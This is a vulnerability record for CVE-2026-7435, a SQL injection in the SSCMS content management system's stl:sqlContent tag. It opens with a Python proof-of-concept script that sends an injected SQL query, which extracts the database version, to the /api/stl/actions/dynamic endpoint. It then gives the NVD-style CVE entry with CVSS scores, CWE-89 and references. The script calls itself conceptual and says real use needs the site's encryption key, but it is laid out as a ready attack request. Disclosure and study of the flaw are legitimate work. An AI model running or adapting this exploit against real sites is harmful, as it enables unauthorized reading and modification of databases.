CVE-2026-7435

import requests import json # Conceptual Proof of Concept for CVE-2026-7435 # This script demonstrates the structure of the exploit request. # Note: SSCCMS requires the payload to be encrypted using the site's specific key. # This example assumes the attacker has the encryption capability or key. target_url = "http://target-site/api/stl/actions/dynamic" # Malicious SQL payload intended to be injected into the queryString attribute # Example: Extracting the database version sql_payload = "SELECT 1, @@version, 3, 4, 5;--" # Construct the template content containing the vulnerable tag # The stl:sqlContent tag processes the queryString directly stl_template = f"<stl:sqlContent queryString=\"{sql_payload}\"></stl:sqlContent>" # In a real scenario, the 'stl_template' string and other parameters need to be # encrypted according to the SSCCMS encryption algorithm (usually AES). # encrypted_body = encrypt_payload(stl_template) # For demonstration, we send the structure (actual exploitation requires encryption) payload = { "siteId": "1", "channelId": "1", "template": stl_template } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # The actual endpoint might require the payload to be in a specific encrypted format response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) # Analyze response to confirm SQL execution (e.g., looking for version string in output) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-7435", "sourceIdentifier": "[email protected]", "published": "2026-04-30T21:16:34.100", "lastModified": "2026-05-04T14:16:36.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SSCMS v7.4.0 contains a SQL injection vulnerability in the stl:sqlContent tag where the queryString attribute is passed directly to database execution without parameterization or sanitization. Attackers can craft encrypted payloads submitted to the /api/stl/actions/dynamic endpoint to execute arbitrary SQL statements, leading to unauthorized database access, data disclosure, authentication bypass, data modification, or complete database compromise."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/siteserver/cms", "source": "[email protected]"}, {"url": "https://github.com/siteserver/cms/issues/3891", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/sscms-sql-injection-via-stl-sqlcontent-querystring", "source": "[email protected]"}, {"url": "https://github.com/siteserver/cms/issues/3891", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}